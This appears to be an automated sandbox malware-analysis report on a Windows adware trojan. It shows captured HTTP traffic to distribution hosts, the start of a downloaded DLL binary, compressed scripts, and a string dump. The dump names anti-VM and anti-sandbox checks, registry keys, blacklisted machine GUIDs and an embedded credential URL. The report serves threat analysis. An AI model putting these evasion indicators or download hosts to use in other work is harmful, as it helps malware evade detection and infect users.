User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: n149adserv.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Cache-Control: max-age=3600

Accept-Ranges: bytes

Content-Type: application/javascript;charset=ISO-8859-1

Transfer-Encoding: chunked

Content-Encoding: gzip

Vary: Accept-Encoding

Date: Fri, 26 Feb 2016 23:23:39 GMT

Connection: close
a..............200...;ks.8... d..B.hINvr7dXZ.qv<.dfm'.:G..IHbB.Z...
.......|H..]].}.L6...../..,..Uz.....e....[.eQ...#.qr.....g.. .!n.Vw...
m..,Y..X..!.4O..V.5...QT.8....u^.....M.AwQX,...G...V.l..OQ.^..*f.7...?
I.y..(.a..<..D....8..e..k.6....s.."w.g[..D..<.}.|.5f...I.7~.:Ko.
T7o.N."J.....`.....V0........(...X...h...G:aq...N.5.}zH.lFA.........S.
 ...<J........uX>u..... ......$.7g!..A..k\...Oc....g..R.c...r...
.-.k`.YR.g.A.<.vw..T..x..A.F............g!..t.b).{...9..-.9....rM..
j6..Q...O."....<.._.t..-.o.y.m.\._..[[email protected] .e.EZ....D.. ..200..
..... M.4..;.%...x......{..).?g.<up@!I...}9s..9...Fu...J.q|..T.....
w.Oc..q..F".~..`....w..*..FW.W0.......H.;.......P[.Q..T..?D..j.."j..P.
.sWqTXR......[...^...;.j..3...........A1.I..S{.......lfQ..9........u.b
.Raa.=.X0.9....#.)....#`..Y~....9q...Sx0...*Y.R.....(............#..[V
.g5a..w`y5.P#.g2%U...... }.C.A-.P...:_Z\o./........h.......fj........-
qF,.k....E..bw....W.,X.....{...7d.*.r..aawru.A5...L#..-^........q dkL.
.......]....H....<.%.........>l...}..p]v ....n....3.&.5...6.G...
.. |..<../...@.?.....}k....f.....200...%......)AcT..[@.....5./..$.E
"A..{.3._.zv!.N....Q.!....!...\..r....ufY......`//......3..l ..:{.<
.......9.....8....}[email protected]...<e!.3...G].."i...`t..H.
......Y...:MJ...QP..i..1.?..I#c%......_W..~..T...w.D........J...=bCW#.
.....A.'.4.[.b.&........_A.g`..h..AoIJ.b.3...............&....%.i.e.:M
..O..&c....};....E5..f.. km-.....].g..?n.B` . ^..y..fs=........W....@.
.f.9>?G.`px....H).S.......&...Xgd..C..[...R..uF].^j.!7...0.0.m.
<<< skipped >>>

HEAD /sdb/84/MixVideoPlayerSetup.exe HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: staticrr.getmixvideo.com

Content-Length: 0

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 26 Feb 2016 23:23:37 GMT

Content-Type: application/octet-stream

Content-Length: 3733592

Last-Modified: Fri, 07 Aug 2015 10:28:15 GMT

Connection: keep-alive

ETag: "55c4883f-38f858"

Accept-Ranges: bytes

GET /d5/msjava.dll HTTP/1.1

Accept: */*

Proxy-Authorization: Basic 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: static.youmagnos.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: application/octet-stream

Date: Fri, 26 Feb 2016 23:23:29 GMT

ETag: "54ef0d1b-e5910"

Last-Modified: Thu, 26 Feb 2015 12:10:03 GMT

Server: nginx

Content-Length: 940304

Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L.....C8
...........#...............................k..........................
......m...............................`#..te..........................
......................................................................
...........................text............................... ..`.dat
a...d"......."[email protected].............................
..@[email protected][email protected]@...0[.8M..... 8W...
4.D8a...4.D8l...6.D8y...5.D8............KERNEL32.dll.NTDLL.DLL.GDI32.d
ll.USER32.dll.ADVAPI32.dll.OLEAUT32.dll.ole32.dll.....................
......................................................................
......................................................................
......................................................................
......................................................................
............................................ .........................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................
<<< skipped >>>

GET /BesH3gE9/pop-up/ HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.youmagnos.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Encoding: gzip

Content-Language: en

Content-Type: text/html

Date: Fri, 26 Feb 2016 23:23:38 GMT

Server: nginx

Set-Cookie: lpsl_BesH3gE9=7ceb757be6d50cd84aea77b461e53663 1456615418; Path=/; Expires=Sat, 27-Feb-16 23:23:38 GMT;Domain=VVV.youmagnos.com

Vary: Accept-Language

Content-Length: 1075

Connection: keep-alive
...........V.o.6.._..!.IN&...... s:[email protected].$.$e.-..{.d..]l f.0}.
{.;.{...\.>....5..4Ao.....1.6!....\O..._&7o..4.D.L.*..M.y..Fx.T>
 d.Z9....=..A.5......v".P.xdx....$.......W../...0../B..D. ..9..b..,..V
V...|L.\0...0I..$q..l9..G..<G..F.l.?A..;...gK......Q..\..E...H.}...
...s.i.....N..........".v........I..Y..i;..f...4..Y.....E.H..HQq.....%
.n.NL7.S.J..._m..'..0..h...&.....u.8;h..2E..*..."^.x.3.2eO.........XC.
........v.#...Nl[1.l.......!sd.......v|}5..5.T..=-.....T.....x...7u~r`
^..B.[.K..PB.......<.01.dB...Y.nbM.B:.<7.%.....4..d.${C......U.a
.C.Z.S...."..Y'!......\}.....t`.H.Gshl7V"V.YX.....h....M.........?....
........T....6K.`...L...k..nJ@'e.;.l....c..!......y...f..Du*5.......^.
h..x..?.n...4.G..e...2}&..3k......Gu.>.m. %L.&...r..]...}.r...1.z.(
.&l..M.i...ijT..{....y...WT.i.B..F0...<.?.....\$ .;..r.N.....{.fw."
..n..DA...F..mu.;.....(..!Y....5..Aa".J.A.l...-yu...s..mB2.._.....O...
...B*./....6.<........p~..8..t....a.jy...,..z90.0;[email protected]..
..../..j...#..`mEE.h..._....]......W.Io .....;..P..e....f .G.9.." ...4
.B{..P).....Dx2...E!d^..x3.....zU...}C....1.]}.......


GET /lpresources/js/linkv2.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.youmagnos.com/BesH3gE9/pop-up/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.youmagnos.com

Connection: Keep-Alive

Cookie: lpsl_BesH3gE9=7ceb757be6d50cd84aea77b461e53663 1456615418

HTTP/1.1 200 OK

Accept-Ranges: bytes

Access-Control-Allow-Origin: *

Content-Encoding: gzip

Content-Type: application/javascript

Date: Fri, 26 Feb 2016 23:23:39 GMT

ETag: "180b8d-d84-4feef24b01140"

Last-Modified: Thu, 24 Jul 2014 11:56:13 GMT

Server: nginx

Vary: Accept-Encoding

Content-Length: 1358

Connection: keep-alive
...........WYo.8.~..`.ELV.|...q. M.........AIT,D...r....;$E.Ns 0,..|sr
f.Ty$."G.4..L...[&.T........B;.Q^......}..a...?.c.&h6.N..P...\.... 5.S
..9......5.)..R..xQ.1Vb.......V.A........>:[email protected])..:.[....w4....
.Q.e..".\..!)..h.^......;..M......n....P.>....^ zBQ...Y.kq^e...L0..
"...c...R..7Y..Jd..1pc....BO82.......l.r&"Z.....B!y..Z......i...?....9
..5..gED.. .|T.=Qf.....\.V..O..C../x....M..l..z.."W.B.a..rh..,...'.?..
.?.L...c.N......5.A.."...u*..........?\..2W..q.......h..mb`Y.1...k..i.
w.8K.;.3.,e.e......2T..FtS..K......7"..,*e.&.e.W.%v......=.L.....\.'.{
......D9.U...s.-... ..JD..U.0pHqwV..;8Y5A....G.........T/.?~.w..A.aI..
.\i.}P.@k%<.G.7......%u2..0.....3.(.H%.......P?1x:n...=.:...m...v2.
.w.....Go..tj.(-7.K. =Y.4.>.........7.(.w.q ... i..Lt/.....W.....T.
..)..W.."Y...`..%..,...........tW..8.C.A2.,8(...j..../.B...x.S..u..X..
..f..=..U8......vLc. [email protected]' E..A3.....t......-.yhZ)..6.`....o%....
.....'.Y...u...c..&....... .Q.9.....Vm.mW...h..W...C.w............'...
r.(.t).j......L...9.j.Uc...QBa9 ..3gPJ.WJ.]xj..!M.<....U......_....
.K!0...Ea..F...J=..`.6R.a..V..,cj . ..W..h.i........T....T_.l[.....i.u
..VL.u.AE..CR..n...l......y..}...1..5.................O...`'.MW8c...|.
. x...{.t..........}_...^..&...?[..9Y|...g.-..._.....h.G~.....i1...b..
...&.:.j..9.g.]B]..}..K>......{.7.aNqtMWD.6.0g.......0..z...PghuR7.
.}..f.y./.p-.%T.n.......xN.j.[.Q......h}e.........
<<< skipped >>>

GET /lpresources/js/ainj.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.youmagnos.com/BesH3gE9/pop-up/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.youmagnos.com

Connection: Keep-Alive

Cookie: lpsl_BesH3gE9=7ceb757be6d50cd84aea77b461e53663 1456615418

HTTP/1.1 200 OK

Accept-Ranges: bytes

Access-Control-Allow-Origin: *

Content-Encoding: gzip

Content-Type: application/javascript

Date: Fri, 26 Feb 2016 23:23:39 GMT

ETag: "28004c-0-4f9c38966d780"

Last-Modified: Mon, 19 May 2014 16:48:46 GMT

Server: nginx

Vary: Accept-Encoding

Content-Length: 20

Connection: keep-alive
........................


GET /lpresources/js/dlStoragev1.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.youmagnos.com/BesH3gE9/pop-up/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.youmagnos.com

Connection: Keep-Alive

Cookie: lpsl_BesH3gE9=7ceb757be6d50cd84aea77b461e53663 1456615418

HTTP/1.1 200 OK

Accept-Ranges: bytes

Access-Control-Allow-Origin: *

Content-Encoding: gzip

Content-Type: application/javascript

Date: Fri, 26 Feb 2016 23:23:39 GMT

ETag: "280057-1a57-50572ea11d0c0"

Last-Modified: Wed, 15 Oct 2014 09:39:55 GMT

Server: nginx

Vary: Accept-Encoding

Content-Length: 2010

Connection: keep-alive
...........X[o...~v~...H:q..X,...]d..]t/i.A..b.P.(.F.]..c....!.....p..
.....\...K.Y..P.......b..c.........\3 J..2o-e.*!.....Ur....S>..(..^
....Z ...i..Z...Z.^.(b.}&.....O.$.:.:.....c{D........K.,.....WH.{C..}.
...2 n..Q..~[$p.1..C/<8.....EZ:_..'..@/.#...ud,K.T....J....i|....3=
.....N.!.nY@g....~...~j..i..jj..m.D;l.94.h.$A..9..n.Vp?.X.O..&...."...
....mch....'L..[m...m...XfR......G9(.....BVq....\....G..1....V[.......
......%....H<[email protected]@....[.. .fZ8Ie...Z..%Zdy
[email protected].~-..X?[O.Y.i{.K: L.....D......-......... .k.......r.6..
... v.5X..l.O..F...9..-.O.....5^.L.i..<Ip..O.....~...,...>.2/...
H.R .v..2....R*}:....X.......p2i..b..^.......tW.y...).'....H.......E.)
.Bx].......p.....9.c]...V....w..(. $D..uc..\.&OFv.2.>%.yf..!B.V4.).
..~k..db...Z.......}.....&..^...{cGzV.V...yv:..^....vQ..`[email protected].
.......h*[email protected]{h./.HpF.).T......i.......3u.'...fK..j.OY.
;!3 .N.'Fw1.....7..W..}"..n.ax[,y.%.. .......X%wf. .O...s...'...g7..9'
y.V..y.\O..3...,.-....H.q..........AM..;..L.8B`.3.......X.J.0..m....)1
..b-.w...j.!..oi...f..R'......-U]8.y. 0.*....0J..M...@.&.}............
..IR<...G.J.)I...G.......l.....I.sU....I..}{8...."HQ.....- #.......
...Q.TL.%"^.h=..cX.r.7.{,......o#,.Ho...*.i...A..*...........2..mh{Ws.
3.3.:..N.-...C#WV.[..I.c.J..`...{8....Dw.....x.................../.E_C
l7?....C<....a..Qg.V.p.....\.=.......w?.9.qno..%o....'..z..s(..)...
...p.v...}kw..*a.T.1...5.S.K]*......58....B..O$M.C.`.............a.h.q
...0... jV.....C. IS.].......8_.l..h.....mP.6j....b.1...~.e...DV..
<<< skipped >>>

GET /mh/53a811d55f1c1e744b000002/2307c835-660a-4bd8-a3df-031d9af89e85/53a811d55f1c1e744b000002/default/media/js/jquery-1.11.1.min.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.youmagnos.com/BesH3gE9/pop-up/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.youmagnos.com

Connection: Keep-Alive

Cookie: lpsl_BesH3gE9=7ceb757be6d50cd84aea77b461e53663 1456615418

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: application/javascript

Date: Fri, 26 Feb 2016 23:23:39 GMT

ETag: "53a84f60-1762a"

Last-Modified: Mon, 23 Jun 2014 16:01:36 GMT

Server: nginx

Content-Length: 95786

Connection: keep-alive
/*! jQuery v1.11.1 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.o
rg/license */.!function(a,b){"object"==typeof module&&"object"==typeof
 module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.do
cument)throw new Error("jQuery requires a window with a document");ret
urn b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){v
ar c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=
h.hasOwnProperty,k={},l="1.11.1",m=function(a,b){return new m.fn.init(
a,b)},n=/^[\s\uFEFF\xA0] |[\s\uFEFF\xA0] $/g,o=/^-ms-/,p=/-([\da-z])/g
i,q=function(a,b){return b.toUpperCase()};m.fn=m.prototype={jquery:l,c
onstructor:m,selector:"",length:0,toArray:function(){return d.call(thi
s)},get:function(a){return null!=a?0>a?this[a this.length]:this[a]:
d.call(this)},pushStack:function(a){var b=m.merge(this.constructor(),a
);return b.prevObject=this,b.context=this.context,b},each:function(a,b
){return m.each(this,a,b)},map:function(a){return this.pushStack(m.map
(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return t
his.pushStack(d.apply(this,arguments))},first:function(){return this.e
q(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.le
ngth,c= a (0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]
:[])},end:function(){return this.prevObject||this.constructor(null)},p
ush:f,sort:c.sort,splice:c.splice},m.extend=m.fn.extend=function(){var
 a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boole
an"==typeof g&&(j=g,g=arguments[h]||{},h  ),"object"==typeof g||m.
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

`.rsrc

u%Shh

@t-9}

NSSh:

FV<.tN<[tJ<\tF<*tB<|t><^t:<$t6

F$.xE

J!"#$J%J&'()*J ,JJJJJJJJ-J.JJ/0J1JJJJJJJJJJJJJJJJJJ23JJ4567JJ8JJJJJ9:;JJJJJ<=JJJJJJJJJJJ>?JJJJJJJJ@JJJJJJAJJJJJBJJCJJJJJJJJJJJDEJJJJJJJFJGJJJJJJJJJJJJHJI

j-hd}T

j.hd}T

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\atlexcept.h

HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0

kernel32.dll

%System%\drivers\vmmouse.sys

%System%\drivers\vmhgfs.sys

%System%\drivers\VBoxMouse.sys

sbiedll.dll

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xdebug

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\streambuf

SELECT * FROM Win32_BIOS WHERE Manufacturer LIKE '%XEN%')

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\cstringt.h

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xlocale

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xiosbase

Software\Microsoft\Windows\CurrentVersion\Uninstall

Software\Classes\ProcMon.Logfile.1\shell\open\command

IsWindowsServer

hXXps://ssl.google-analytics.com/collect?

IWX^^^^^gkmv"-88BDRXcgiu}$/:HOY]fsz 4<HLW]kq $/5>IKTU_lo}&27>EMVefox#/6:?LV\]jp|"/35@@KSXgr "#2:=BOX_gly

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xlocnum

JUUXXXXXZdqss},0<DIM\cmn|'0;EKZ_gu9DP

CDGIIIIIQ[bbdpux!)7>AJO^eggoqvww| .<CRTU

LSXbbbbbfrxx&(7<FINNNNR`ehov#$279HJTVXZ`lp (0?@EJT^jlzz$ 9>IQ`crt}-0:HNW

APRRRRRRWdr (58>DQUUW]hkz#4CLV]ap}&/2>JT]`hjjptx$&0>CKKX`dlx{(7FHRZ\_h

BHKXXXXXddgpq"1@LX[iosu}*-8DLPWelwx})3;GIQ^dn}%(2>AIMOZ]bnp}!&.8BDIPVWdq

NVW\\\\\fgu"&()6BFGPWZ`fjmx"",.4;EHWenqy*,6=GM\gnou&.;@HLTcrt}) :BCHSXbb

CPSYYYYY_l{,:DKMR_fsv!""*79?JV^_kpu$89FITbhpv&.<AHP]]lt}#) 6BPY[ftxy|

MNN]]]]]ix$$12<JNS\^mx"5CMZhw '6DQUU_kt .<?CQ`glz#)*-8GQZ[dis|-:HMUZh

LTUUUUUUahit|},7CCJKY_mw'5CEGJXelvv&2:HTYfopy &8FIX_`oq"#%-04;BJSbgr )

IINRRRRR]ktz}(,;DFMR^crty).38?NTW\jtv&4BFGVegl{{*9:=@CKZgiu#(5BLV]deppt{#,77BPPSW`gt '6CDNOO[aap| $(,5@H

ACESSSSSWcqz$**9=HPT_dmov$3>IKUdpt ')* 5AGSSU]^mnn|*3<@IPVcrv!$3BJWX^jjv

BJOPPPPPTan}"-0:IT^epu&01@IJLTYhmvv%%DERUabbbopttv& 3@GQVdoprx#.7?ADGL

GKMQQQQQSann{#%* 1:HMXYdq (FJOWadkw$$$

GVZcccccrz())) 2=ES_npwy(4BM\crt$-<JU`is

MQTbbbbbklv&4=>M[gkprz) 6@KKNTUdpz'5<=GJKUcghv%0=BDENSYdiiikrx"'39EQV[hm

FIJPPPPPUV_fmmpt|&,/13AFRWX]ajqwx'(/9?HS[\cn{KGNTcpx"#/1<?JJRW_nuxz|"1

MNN\\\\\eoy&(.5=CHPY`cjow&'/=IWaot!017BDLY\\dopx|-8BMXfnqu%*55@HKTcet#*-2>KYdlwwFCIS]adiw}!06;EFMT\do

()$^.* ?[]|\-{},:=!

KMT_____eky',:?GMT]^fpz)59=HOS_bqqvxy$'5=>AKY`anz&019@ERV^ccjt"/=BKRYgoyy|'5:;GVYcpss#&4CCOT[ammuz)0>KSVbelwx&*8:BKPSXckxyyz|--/<JMV_cgmmqx#28=>HQ`or|"(0;=KO[ft|}*8ADS`kny'-17CDLVcq})24>ADHU^^agv}(00>

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\locale

invalid _N_type: %d

FKLXXXXX\`mstuuv!)38CCEIMUZgo}...7>LV^bfft (33AOUbbovz*4CRVVckx)47@IRZhmu}",1@DHW\kot%2;FR_apz(0=@LLMTcp

JRV[[[[[_hjpx&3@JW]jlw$3AIJUdptx)5;FNT^b

LT[_____`jwz$7CL[bhtw##&.=GN]coy*--8E

FGGLLLLLNTcoy7DPQV[]giu (.55?MR]coyz'()/5@ABP]]cemnny|$$-7AHS\bhw'5=>C

KVVWWWWWdstyICQQXdjv%/>ILVemy}#)89FNSSbklt#148DPPPW\fjmo|$&.89GLO]ity$

NNNPPPPPYZ`o ,/6;@BHKZZ^gtu7DJNSabcq{

OWWeeeeeept""'5DHWWW[dl{*3@JVXfrsuFLV

MNUWWWWWcimqw$&/99;<@FT_agq!)8<AFNS^_kz!'(-57CEKVdgmo %-/8DKMVVYaemuu$/>DJY^bnz#'(5<JKV`alx(09<DPSYfmmmot{&( ,2:BDRVV`glnqv&5CHJW^bo}-36CQ^dls"(*5;AHPPY\depz%*115<=KM[hmv}%4>DKXddqz'5CJX_bciuu{| /<HUU^aow'6@FIR^kr  /<?NNZ^^jy*00127?JYffjqz"1<<<@BJN\jr -9?@OPYgkpy'4?BQ]dmq!(-<EEKX`kv#0>GO[hhntu}&/1;EN\efq{"$$'  45DM[emw"$.6DLMUWchvz /89FO^cp .1;EKMTWcju $35DPQT\frx#?GN[^ijmu!(2:?ETbemz!-2?LOY]htz'-25?JJKUds|&.4;GHSX^bbow(008GLOV`eksy{{!$0033<@O[jw%(5DFMUZiq -7AJOZ\deovwx&*-5CRYcmow&&.9<GSXYYcccdlmw #$ 1>CR_am{"'3>CCOSW[fuu"'6EIIRUboo{#(7ELU`nq!#'*,;ACJJMQSX\ejjoz%0;>?JR_juw&44AIRU_kwy'56DIO^lmo}"'.=IMP\acor|!-6:BN]lv$)2;;CEKPXZ_gq{,,:IKMZ_klxz$%.3<GJQ^hnqy**7CJKN\akmt|!-0<EIQ]l{'38AJJRTZ_ginv",;;IXZ\innx|,-8BCEQ^kz}#..7CETUbo|"))2=@OSVdnv' .47BMNWcepy&15@OTZZhhopy% 6:CR\hpy'4CGJYdmx"*5;<<IN]egsz*-:?IWZadghu{}*38GTcpu}#'4CIJXceg

OVYbbbbbfhtt)FLRYdftvx)6<HUdfms{{{}%/11?@@LZiinr!--7<EGGILY]foq"*0:DDR

LNOOOOOO^mvx #1@JOTYgo|,3>FJR_lmnsx$  4AHORT_fp}"-<FGLV_aeny|!-7AFKKTbjpy))7>EJVdilw(*147<FNVX[iiv&18EESVdfllu 4AFS^hhwCHOU\aajpxy*18DPY`os|"-:DKKS]^fs!&'3>INNZZepw&2<HMPV[`bmv&,,0=>>ENZis!7DHWaelqz !0689?EEMVX_ejow}%,23BPWb

NetBase.cpp

NSV[[[[[gv$((488FUblt{"4CO^_fks$3<IMO^lu!-06>IJSZco}%'/;DMXfq"#-33@@FOOV`iq '(.66;<KZghwz&) :CJKTTanqr

URL EMPTY

"url":"

ParseUrl

/Setup.application

hXXp://

urlc=

PictureEx.cpp

c:\logFile.txt

SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings

hXXp://42e546f0ea2d40afa114ea020951ec9d:9538ea5acbbe4fc6b42811c415685653@

.cpp" ,

errormsg

Error opening key.

Key not found.

_virtualGetStringKey

_virtualcheckRegkKey

_virtualSetStringKey

_virtualSetDwordKey

SetStringKey

inflate 1.1.3 Copyright 1995-1998 Mark Adler

CWebBrowser2

0.0.0.0

mb_00000000-0000-0000-0807-060504030201

mb_09F005AE-AC9D-4FC1-AB7A-24004F6C043A

mb_01010101-0101-0101-0101-010101010101

mb_58585858-5858-5858-5858-585858585858

mb_4c4c4544-0000-2010-8020-80c04f202020

mb_11111111-2222-3333-4444-555555555555

mb_11111111-1111-1111-1111-111111111111

mb_00020003-0004-0005-0006-000700080009

mb_890E2D14-CACD-45D1-AE66-BC80E8BFEB0F

mb_8E275844-178F-44A8-ACEB-A7D7E5178C63

mb_52309712-FFFF-FFFF-FFFF-FFFFFFFFFFFF

mb_DC698397-FA54-4CF2-82C8-B1B5307A6A7F

mb_61F39712-FFFF-FFFF-FFFF-FFFFFFFFFFFF

mb_50FB9712-FFFF-FFFF-FFFF-FFFFFFFFFFFF

mb_93309712-FFFF-FFFF-FFFF-FFFFFFFFFFFF

mb_56F49712-FFFF-FFFF-FFFF-FFFFFFFFFFFF

mb_07090201-0103-0301-0807-060504030201

mb_03000200-0400-0500-0006-000700080009

mb_FEFEFEFE-FEFE-FEFE-FEFE-FEFEFEFEFEFE

mb_FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF

mb_00000000-0000-0000-0000-000000000000

CNotSupportedException

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\except.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxtls_.h

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olemisc.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winstr.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\strcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxtempl.h

f:\dd\vctools\vc7libs\ship\atlmfc\include\afx.inl

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\thrdcore.cpp

m_nMsgLast =

m_msgCur = {

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxcoll.inl

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\elements.h

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\afxtls.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\occmgr.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\occdlg.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp

m_pszExeName =

m_nCmdShow =

m_lpCmdLine =

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxadv.h

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winfrm.cpp

Warning: no message line prompt for ID 0xX.

Warning: OnUpdateKeyIndicator - unknown indicator 0xX.

Warning: scroll bars in frame windows may cause unusual behaviour.

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxpriv.h

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin1.inl

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxcomctl32.h

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\wincore.cpp

Warning: unknown WM_MEASUREITEM for menu item 0xX.

hhctrl.ocx

Implementation Warning: control notification = $%X.

Warning: not executing disabled command %d

hWnd = $X (nIDC=$X) is not a %hs.

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\afximpl.h

CCmdTarget

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\cmdtarg.cpp

SENDING control notification %d from control id 0xX to %hs window.

SENDING command id 0xX to %hs target.

No handler for command ID 0xX, disabling it.

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appui2.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appui.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appui1.cpp

Error: failed to load message box prompt string 0xx.

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winocc.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\occsite.cpp

IOleInPlaceObject not supported on OLE control (dialog ID %d).

Persistence not supported on OLE control %ls.

%d. Column ordinal %d: Binding as native data type

%d. Column ordinal %d: Binding a COM object

F%d. Column ordinal %d: Binding as an IStream object

%d. Column ordinal %d: Binding as an ISequentialStream object

neither ISequentialStream nor IStream are supported!

IStream is supported

FISequentialStream is supported

Testing streams support...

%d. Column ordinal %d: Binding by reference in provider allocated, consumer owned memory

%d. Column ordinal %d: Binding length and status ONLY

Number of columns: %d

f:\dd\vctools\vc7libs\ship\atlmfc\include\atldbcli.h

Unsupported DBTYPE (%d) in column %d

$@Column %d not bound

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\occcont.cpp

Error: no data exchange control with ID 0xX.

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\dlgdata.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\wingdi.cpp

m_ps.rcPaint =

m_ps.fErase =

m_ps.hdc =

lgpn.lopnColor =

lgpn.lopnWidth.x (width) =

lgpn.lopnStyle =

lb.lbColor =

lb.lbHatch =

lb.lbStyle =

lf.lfFaceName =

lf.lfPitchAndFamily =

lf.lfQuality =

lf.lfClipPrecision =

lf.lfOutPrecision =

lf.lfCharSet =

lf.lfStrikeOut =

lf.lfUnderline =

lf.lfItalic =

lf.lfWeight =

lf.lfOrientation =

lf.lfEscapement =

lf.lfWidth =

lf.lfHeight =

bm.bmBitsPixel =

bm.bmPlanes =

bm.bmWidthBytes =

bm.bmWidth =

bm.bmHeight =

bm.bmType =

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\wingdix.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\dlgcore.cpp

IGNORING command id 0xX sent to %hs dialog.

Routing command id 0xX to app.

Routing command id 0xX to owner window.

Warning: Creating dialog from within a COleControlModule application is not a supported scenario.

Warning: ExecuteDlgInit failed during dialog init.

ERROR: Dialog with IDD 0xX must have the child style.

ERROR: Dialog with IDD 0xX must be invisible.

ERROR: Cannot find dialog template with IDD 0xX.

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winctrl1.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oleunk.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxole.inl

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\afxstate.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\objcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\arcobj.cpp

